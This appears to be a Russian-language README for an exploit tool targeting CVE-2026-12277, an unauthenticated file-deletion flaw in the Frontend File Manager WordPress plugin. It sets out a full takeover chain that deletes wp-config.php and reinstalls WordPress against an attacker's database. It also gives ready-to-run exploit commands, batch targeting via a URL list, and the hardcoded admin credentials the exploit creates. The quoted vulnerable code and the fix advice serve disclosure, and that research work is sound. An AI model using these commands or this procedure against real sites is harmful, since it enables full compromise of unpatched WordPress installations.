
Плагин Frontend File Manager (WordPress) <= 23.6 - Неавторизованное произвольное удаление файлов, ведущее к удаленному выполнению кода (RCE)
| Поле | Значение |
|---|
| CVE | CVE-2026-12277 |
| Плагин | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Затронутые версии | <= 23.6 |
| Тип | Неаутентифицированное произвольное удаление файлов |
| CVSS | 8.7 (HIGH) |
| CWE | CWE-73 (Внешний контроль имени файла или пути) |
| Предварительное условие | Включён режим загрузки гостями |
| Патч | Нет (по состоянию на июль 2026) |
| Исследователь | Chamseddine Bouzaiene |
Плагин хранит пути загруженных файлов в метаданных записи (wpfm_dir_path). AJAX-эндпоинт wpfm_file_meta_update:
files.php)nopriv (доступен без аутентификации)unset($_REQUEST['wpfm_dir_path']) может быть обойдена из-за особенностей PHP request_order (отправка через строку запроса)Когда вызывается wpfm_delete_file, он читает wpfm_dir_path из метаданных записи и вызывает unlink() без проверки пути.
| AJAX-действие | Требуется nonce | Требуется аутентификация | nopriv |
|---|---|---|---|
wpfm_file_meta_update | НЕТ (закомментирована) | Нет | Да (всегда) |
wpfm_delete_file | Да | Нет | Да (всегда) |
wpfm_upload_file | Да | Нет | Да (если включена загрузка гостями) |
1. Обнаружение плагина + включена загрузка гостями
2. Автоматическое извлечение AJAX nonce со страницы (скрытое поле ввода)
3. Загрузка файла как гость ИЛИ брутфорс существующего ID записи
4. Перезапись wpfm_dir_path через обход строки запроса → указание на wp-config.php
5. Запуск wpfm_delete_file → unlink(wp-config.php)
6. WordPress переходит в режим установки (setup-config.php)
7. Завершение установки с контролируемой злоумышленником базой данных
8. Вход как админ → полный захват
| Файл | Описание |
|---|---|
exploit.py | Полный эксплойт на Python (обнаружение → эксплуатация → захват) |
poc_curl.sh | PoC на Bash/curl (Linux) |
poc_curl.ps1 | PoC на PowerShell/curl (Windows) |
lists.txt | Целевые URL (по одному на строку, для пакетного режима) |
requirements.txt | Зависимости Python |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
После успешного выполнения эксплойта войдите в админку WordPress:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Аргумент | Обязательный | Описание |
|---|---|---|
-u, --url | Да | Целевой URL WordPress |
-p, --path | Нет | Абсолютный путь к wp-config.php на сервере |
--nonce | Нет | AJAX nonce (пропустить автоматическое извлечение) |
--dbname | Нет | Имя базы данных злоумышленника (по умолчанию: wp_pwned) |
--dbuser | Нет | Пользователь базы данных злоумышленника (по умолчанию: root) |
--dbpass | Нет | Пароль базы данных злоумышленника |
--dbhost | Нет | Хост базы данных злоумышленника (по умолчанию: localhost) |
--proxy | Нет | HTTP-прокси (например, http://127.0.0.1:8080) |
--timeout | Нет | Таймаут запроса в секундах (по умолчанию: 15) |
--detect-only | Нет | Только обнаружение уязвимости, без эксплуатации |
Эксплойт автоматически ищет wpfm_ajax_nonce в:
/file-manager/, /upload/, /files/, /file-upload/ и т.д./file-manager.php/wp-json/)Nonce отображается как скрытое поле ввода:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Или в локализованном JavaScript:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
Код выполняет unset($_REQUEST['wpfm_dir_path']), чтобы предотвратить прямую перезапись. Обход:
Внедрение в строку запроса: Отправка wpfm_dir_path через параметр URL, в то время как другие данные передаются в теле POST. Поведение объединения $_REQUEST в PHP позволяет сохранить значение в зависимости от конфигурации request_order.
Предварительная установка во время загрузки: Мета wpfm_dir_path устанавливается в хуках начальной загрузки файла. Если эксплуатировать на этом этапе, обход не требуется.
| Компонент | Версия |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Плагин | Frontend File Manager 23.6 |
| ОС | Windows (XAMPP) / Linux |
| Результат | Полный захват подтверждён |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_updatewpfm_dir_path относительно каталога загрузки с помощью realpath() + проверка префиксаЭтот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте письменное разрешение перед тестированием.